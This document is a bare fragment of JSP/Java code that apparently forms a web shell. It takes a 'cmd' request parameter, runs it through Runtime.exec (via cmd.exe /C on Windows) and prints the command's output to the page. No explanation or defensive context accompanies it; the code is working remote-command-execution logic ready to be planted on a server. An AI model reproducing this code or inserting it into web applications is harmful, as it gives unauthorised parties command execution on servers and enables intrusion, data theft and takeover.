String cmd = request.getParameter("cmd");
String output = "";
Process p = null;
if(cmd != null) {
String s = null;
try {
if (System.getProperty("os.name").toUpperCase().indexOf("WINDOWS") != -1)
{
p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
}
else
{
p = Runtime.getRuntime().exec( cmd );
}
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
out.println( s );
}
}
catch(IOException e) {
out.println( e );
}
}